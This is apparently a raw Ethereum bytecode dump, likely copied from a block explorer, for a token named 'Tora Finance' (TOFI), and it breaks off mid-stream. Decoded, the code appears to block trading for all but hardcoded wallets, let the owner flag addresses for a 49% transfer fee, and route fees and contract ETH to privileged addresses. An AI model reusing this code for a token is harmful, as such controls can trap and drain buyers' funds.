ffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561190e57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611cae57600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061196d57506008544311155b156119a057611999606461198b603186611f3b90919063ffffffff16565b611fb590919063ffffffff16565b9050611a45565b611a426064611a34600060085414611a22577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611a0d57600754611a10565b60005b600654611a1d9190612e79565b611a25565b60145b86611f3b90919063ffffffff16565b611fb590919063ffffffff16565b90505b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611ae05750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b365750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bd957600b54831115611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b77906132bf565b60405180910390fd5b600c5483611b8d86610943565b611b979190612e79565b1115611bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcf90613351565b60405180910390fd5b5b6000611be430610943565b9050600f60019054906101000a900460ff16158015611c4f57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d5481115b8015611c765750436008546002611c739190612e79565b11155b15611cac576000479050611c8982611fff565b8047611c959190612ead565b90506000811115611caa57611ca981612268565b5b505b505b611d12611cc4828561234590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611db7848761234590919063ffffffff16565b604051611dc4919061262f565b60405180910390a36000811115611ed057611e2781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238f90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ec7919061262f565b60405180910390a35b5050505050565b6000838311158290611f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1691906124e0565b60405180910390fd5b5060008385611f2e9190612ead565b9050809150509392505050565b6000808303611f4d5760009050611faf565b60008284611f5b9190612d25565b9050828482611f6a91906133a0565b14611faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa190613443565b60405180910390fd5b809150505b92915050565b6000611ff783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123ed565b905092915050565b6001600f60016101000a81548160ff0219169083151502179055506000600e54821161202d57600d54612031565b600e545b90506000600267ffffffffffffffff8111156120505761204f612836565b5b60405190808252806020026020018201604052801561207e5781602001602082028036833780820191505090505b509050308160008151811061209657612095612e4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561212f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121539190613478565b8160018151811061216757612166612e4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121c030737a250d5630b4cf539739df2c5dacb4c659f2488d85611324565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122169594939291906135a8565b600060405180830381600087803b15801561223057600080fd5b505af1158015612244573d6000803e3d6000fd5b5050505050506000600f60016101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166108fc6003836122af91906133a0565b9081150290604051600060405180830381858888f193505050501580156122da573d6000803e3d6000fd5b507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff166108fc60038361231691906133a0565b9081150290604051600060405180830381858888f19350505050158015612341573d6000803e3d6000fd5b5050565b600061238783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ed7565b905092915050565b600080828461239e9190612e79565b9050838110156123e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123da9061364e565b60405180910390fd5b8091505092915050565b60008083118290612434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242b91906124e0565b60405180910390fd5b506000838561244391906133a0565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561248a57808201518184015260208101905061246f565b60008484015250505050565b6000601f19601f8301169050919050565b60006124b282612450565b6124bc818561245b565b93506124cc81856020860161246c565b6124d581612496565b840191505092915050565b600060208201905081810360008301526124fa81846124a7565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061254182612516565b9050919050565b61255181612536565b811461255c57600080fd5b50565b60008135905061256e81612548565b92915050565b6000819050919050565b61258781612574565b811461259257600080fd5b50565b6000813590506125a48161257e565b92915050565b600080604083850312156125c1576125c061250c565b5b60006125cf8582860161255f565b92505060206125e085828601612595565b9150509250929050565b60008115159050919050565b6125ff816125ea565b82525050565b600060208201905061261a60008301846125f6565b92915050565b61262981612574565b82525050565b60006020820190506126446000830184612620565b92915050565b6000602082840312156126605761265f61250c565b5b600061266e8482850161255f565b91505092915050565b6000806000606084860312156126905761268f61250c565b5b600061269e8682870161255f565b93505060206126af8682870161255f565b92505060406126c086828701612595565b9150509250925092565b600060ff82169050919050565b6126e0816126ca565b82525050565b60006020820190506126fb60008301846126d7565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261272657612725612701565b5b8235905067ffffffffffffffff81111561274357612742612706565b5b60208301915083602082028301111561275f5761275e61270b565b5b9250929050565b6000806020838503121561277d5761277c61250c565b5b600083013567ffffffffffffffff81111561279b5761279a612511565b5b6127a785828601612710565b92509250509250929050565b6127bc816125ea565b81146127c757600080fd5b50565b6000813590506127d9816127b3565b92915050565b6000602082840312156127f5576127f461250c565b5b6000612803848285016127ca565b91505092915050565b61281581612536565b82525050565b6000602082019050612830600083018461280c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61286e82612496565b810181811067ffffffffffffffff8211171561288d5761288c612836565b5b80604052505050565b60006128a0612502565b90506128ac8282612865565b919050565b600067ffffffffffffffff8211156128cc576128cb612836565b5b602082029050602081019050919050565b60006128f06128eb846128b1565b612896565b905080838252602082019050602084028301858111156129135761291261270b565b5b835b8181101561293c5780612928888261255f565b845260208401935050602081019050612915565b5050509392505050565b600082601f83011261295b5761295a612701565b5b813561296b8482602086016128dd565b91505092915050565b6000806040838503121561298b5761298a61250c565b5b600083013567ffffffffffffffff8111156129a9576129a8612511565b5b6129b585828601612946565b92505060206129c6858286016127ca565b9150509250929050565b600080604083850312156129e7576129e661250c565b5b600083013567ffffffffffffffff811115612a0557612a04612511565b5b612a1185828601612946565b9250506020612a2285828601612595565b9150509250929050565b600067ffffffffffffffff821115612a4757612a46612836565b5b602082029050602081019050919050565b6000612a6b612a6684612a2c565b612896565b90508083825260208201905060208402830185811115612a8e57612a8d61270b565b5b835b81811015612ab75780612aa38882612595565b845260208401935050602081019050612a90565b5050509392505050565b600082601f830112612ad657612ad5612701565b5b8135612ae6848260208601612a58565b91505092915050565b600060208284031215612b0557612b0461250c565b5b600082013567ffffffffffffffff811115612b2357612b22612511565b5b612b2f84828501612ac1565b91505092915050565b60008060408385031215612b4f57612b4e61250c565b5b6000612b5d8582860161255f565b9250506020612b6e8582860161255f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612bfe57808604811115612bda57612bd9612b78565b5b6001851615612be95780820291505b8081029050612bf785612ba7565b9450612bbe565b94509492505050565b600082612c175760019050612cd3565b81612c255760009050612cd3565b8160018114612c3b5760028114612c4557612c74565b6001915050612cd3565b60ff841115612c5757612c56612b78565b5b8360020a915084821115612c6e57612c6d612b78565b5b50612cd3565b5060208310610133831016604e8410600b8410161715612ca95782820a905083811115612ca457612ca3612b78565b5b612cd3565b612cb68484846001612bb4565b92509050818404811115612ccd57612ccc612b78565b5b81810290505b9392505050565b6000612ce582612574565b9150612cf0836126ca565b9250612d1d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c07565b905092915050565b6000612d3082612574565b9150612d3b83612574565b9250828202612d4981612574565b91508282048414831517612d6057612d5f612b78565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d9d60208361245b565b9150612da882612d67565b602082019050919050565b60006020820190508181036000830152612dcc81612d90565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b6000612e0d82612574565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e3f57612e3e612b78565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e8482612574565b9150612e8f83612574565b9250828201905080821115612ea757612ea6612b78565b5b92915050565b6000612eb882612574565b9150612ec383612574565b9250828203905081811115612edb57612eda612b78565b5b92915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f1760178361245b565b9150612f2282612ee1565b602082019050919050565b60006020820190508181036000830152612f4681612f0a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fa960248361245b565b9150612fb482612f4d565b604082019050919050565b60006020820190508181036000830152612fd881612f9c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061303b60228361245b565b915061304682612fdf565b604082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130cd60258361245b565b91506130d882613071565b604082019050919050565b600060208201905081810360008301526130fc816130c0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061315f60238361245b565b915061316a82613103565b604082019050919050565b6000602082019050818103600083015261318e81613152565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131f160298361245b565b91506131fc82613195565b604082019050919050565b60006020820190508181036000830152613220816131e4565b9050919050565b7f5472616e7366657220616d6f756e74206d757374206265206c6573732074686160008201527f6e207468616e206d6178207472616e73616374696f6e20616d6f756e74206c6960208201527f6d69740000000000000000000000000000000000000000000000000000000000604082015250565b60006132a960438361245b565b91506132b482613227565b606082019050919050565b600060208201905081810360008301526132d88161329c565b9050919050565b7f5472616e7366657220696d706c6965732076696f6c6174696f6e206f66206d6160008201527f7820746f6b656e20686f6c64696e6773206c696d697400000000000000000000602082015250565b600061333b60368361245b565b9150613346826132df565b604082019050919050565b6000602082019050818103600083015261336a8161332e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133ab82612574565b91506133b683612574565b9250826133c6576133c5613371565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061342d60218361245b565b9150613438826133d1565b604082019050919050565b6000602082019050818103600083015261345c81613420565b9050919050565b60008151905061347281612548565b92915050565b60006020828403121561348e5761348d61250c565b5b600061349c84828501613463565b91505092915050565b6000819050919050565b6000819050919050565b60006134d46134cf6134ca846134a5565b6134af565b612574565b9050919050565b6134e4816134b9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61351f81612536565b82525050565b60006135318383613516565b60208301905092915050565b6000602082019050919050565b6000613555826134ea565b61355f81856134f5565b935061356a83613506565b8060005b8381101561359b5781516135828882613525565b975061358d8361353d565b92505060018101905061356e565b5085935050505092915050565b600060a0820190506135bd6000830188612620565b6135ca60208301876134db565b81810360408301526135dc818661354a565b90506135eb606083018561280c565b6135f86080830184612620565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613638601b8361245b565b915061364382613602565b602082019050919050565b600060208201905081810360008301526136678161362b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b09a82f19f4260f32a9151ecbd1a8bc3b2471ff29921103be6e4058492a11e264736f6c63430008110033
Deployed Bytecode
0x60806040526004361061014f5760003560e01c80637d1db4a5116100b6578063a31ea8e61161006f578063a31ea8e614610467578063a9059cbb14610490578063bf474bed146104cd578063c1cc37ef146104f8578063c9567bf914610521578063dd62ed3e1461053857610156565b80637d1db4a514610369578063849aafa7146103945780638da5cb5b146103bd5780638f9a55c0146103e857806395d89b41146104135780639c0db5f31461043e57610156565b8063313ce56711610108578063313ce5671461027f5780634c3d5f39146102aa57806354b762a6146102d357806370a08231146102fe578063715018a61461033b578063751039fc1461035257610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee5780631a6952301461021957806323b872dd1461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610575565b60405161017d91906124e0565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906125aa565b6105b2565b6040516101ba9190612605565b60405180910390f35b3480156101cf57600080fd5b506101d86105d0565b6040516101e5919061262f565b60405180910390f35b3480156101fa57600080fd5b506102036105d6565b604051610210919061262f565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b919061264a565b6105fa565b005b34801561024e57600080fd5b5061026960048036038101906102649190612677565b61077a565b6040516102769190612605565b60405180910390f35b34801561028b57600080fd5b50610294610853565b6040516102a191906126e6565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc9190612766565b61085c565b005b3480156102df57600080fd5b506102e8610939565b6040516102f5919061262f565b60405180910390f35b34801561030a57600080fd5b506103256004803603810190610320919061264a565b610943565b604051610332919061262f565b60405180910390f35b34801561034757600080fd5b5061035061098c565b005b34801561035e57600080fd5b50610367610adf565b005b34801561037557600080fd5b5061037e610bbc565b60405161038b919061262f565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b691906127df565b610bc2565b005b3480156103c957600080fd5b506103d2610c86565b6040516103df919061281b565b60405180910390f35b3480156103f457600080fd5b506103fd610caf565b60405161040a919061262f565b60405180910390f35b34801561041f57600080fd5b50610428610cb5565b60405161043591906124e0565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612974565b610cf2565b005b34801561047357600080fd5b5061048e600480360381019061048991906129d0565b610f47565b005b34801561049c57600080fd5b506104b760048036038101906104b291906125aa565b611039565b6040516104c49190612605565b60405180910390f35b3480156104d957600080fd5b506104e2611057565b6040516104ef919061262f565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612aef565b61105d565b005b34801561052d57600080fd5b50610536611151565b005b34801561054457600080fd5b5061055f600480360381019061055a9190612b38565b611295565b60405161056c919061262f565b60405180910390f35b60606040518060400160405280600c81526020017f546f72612046696e616e63650000000000000000000000000000000000000000815250905090565b60006105c66105bf61131c565b8484611324565b6001905092915050565b600e5481565b60006008600a6105e69190612cda565b633b9aca006105f59190612d25565b905090565b7f0000000000000000000000005baff3c09f4b973b49ecf75613c31b9fecd4c41c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061069357507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806106dd57507371c91761bc3c89e3878d62bf92f2ae4aac46ba0673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610727575073186d7aabace2d18900fb5a4f82900ff2c9dab9b073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61073057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610776573d6000803e3d6000fd5b5050565b60006107878484846114ed565b6108488461079361131c565b6108438560405180606001604052806028815260200161366f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f961131c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed79092919063ffffffff16565b611324565b600190509392505050565b60006008905090565b61086461131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612db3565b60405180910390fd5b60026009541061090457610903612dd3565b5b60018282905010801561092c5750600260096000815461092390612e02565b91905081905510155b61093557600080fd5b5050565b6000600554905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61099461131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612db3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ae761131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b90612db3565b60405180910390fd5b6008600a610b829190612cda565b633b9aca00610b919190612d25565b600b819055506008600a610ba59190612cda565b633b9aca00610bb49190612d25565b600c81905550565b600b5481565b610bca61131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e90612db3565b60405180910390fd5b808015610c7a5750600260096000815480929190610c7490612e02565b91905055105b610c8357600080fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600481526020017f544f464900000000000000000000000000000000000000000000000000000000815250905090565b610cfa61131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7e90612db3565b60405180910390fd5b60005b8251811015610f42577f00000000000000000000000016a0a5e82701487d86cae3fb2cd9419304fa813573ffffffffffffffffffffffffffffffffffffffff16838281518110610ddd57610ddc612e4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610e635750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16838281518110610e4257610e41612e4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b8015610eb557503073ffffffffffffffffffffffffffffffffffffffff16838281518110610e9457610e93612e4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b610ebe57600080fd5b8160046000858481518110610ed657610ed5612e4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f3a90612e02565b915050610d8a565b505050565b610f4f61131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390612db3565b60405180910390fd5b600082511480610fee57506001600954145b15610ff857600080fd5b60006009541115611035576009600081548092919061101690612e02565b9190505550806008600082825461102d9190612e79565b925050819055505b5050565b600061104d61104661131c565b84846114ed565b6001905092915050565b600d5481565b61106561131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e990612db3565b60405180910390fd5b80600382516111019190612ead565b8151811061111257611111612e4a565b5b6020026020010151600681905550806004825161112f9190612ead565b815181106111405761113f612e4a565b5b602002602001015160078190555050565b61115961131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90612db3565b60405180910390fd5b60036009541480156112055750600f60009054906101000a900460ff16155b611244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123b90612f2d565b60405180910390fd5b43600860008282546112569190612e79565b925050819055506001600f60006101000a81548160ff0219169083151502179055506001600f60026101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a90612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f990613051565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114e0919061262f565b60405180910390a3505050565b82600f60009054906101000a900460ff168061154857507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b8061159e57507f0000000000000000000000005baff3c09f4b973b49ecf75613c31b9fecd4c41c73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b806115e857507371c91761bc3c89e3878d62bf92f2ae4aac46ba0673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6115f157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611660576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611657906130e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c690613175565b60405180910390fd5b60008211611712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170990613207565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d9190612ead565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060007f0000000000000000000000005baff3c09f4b973b49ecf75613c31b9fecd4c41c73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561183e57507371c91761bc3c89e3878d62bf92f2ae4aac46ba0673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561188a57507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156118d657507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561190e57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611cae57600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061196d57506008544311155b156119a057611999606461198b603186611f3b90919063ffffffff16565b611fb590919063ffffffff16565b9050611a45565b611a426064611a34600060085414611a22577f00000000000000000000000016a0a5e82701487d86cae3fb2cd9419304fa813573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611a0d57600754611a10565b60005b600654611a1d9190612e79565b611a25565b60145b86611f3b90919063ffffffff16565b611fb590919063ffffffff16565b90505b7f00000000000000000000000016a0a5e82701487d86cae3fb2cd9419304fa813573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611ae05750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b365750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bd957600b54831115611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b77906132bf565b60405180910390fd5b600c5483611b8d86610943565b611b979190612e79565b1115611bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcf90613351565b60405180910390fd5b5b6000611be430610943565b9050600f60019054906101000a900460ff16158015611c4f57507f00000000000000000000000016a0a5e82701487d86cae3fb2cd9419304fa813573ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d5481115b8015611c765750436008546002611c739190612e79565b11155b15611cac576000479050611c8982611fff565b8047611c959190612ead565b90506000811115611caa57611ca981612268565b5b505b505b611d12611cc4828561234590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611db7848761234590919063ffffffff16565b604051611dc4919061262f565b60405180910390a36000811115611ed057611e2781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238f90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ec7919061262f565b60405180910390a35b5050505050565b6000838311158290611f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1691906124e0565b60405180910390fd5b5060008385611f2e9190612ead565b9050809150509392505050565b6000808303611f4d5760009050611faf565b60008284611f5b9190612d25565b9050828482611f6a91906133a0565b14611faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa190613443565b60405180910390fd5b809150505b92915050565b6000611ff783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123ed565b905092915050565b6001600f60016101000a81548160ff0219169083151502179055506000600e54821161202d57600d54612031565b600e545b90506000600267ffffffffffffffff8111156120505761204f612836565b5b60405190808252806020026020018201604052801561207e5781602001602082028036833780820191505090505b509050308160008151811061209657612095612e4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561212f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121539190613478565b8160018151811061216757612166612e4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121c030737a250d5630b4cf539739df2c5dacb4c659f2488d85611324565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612216959493929190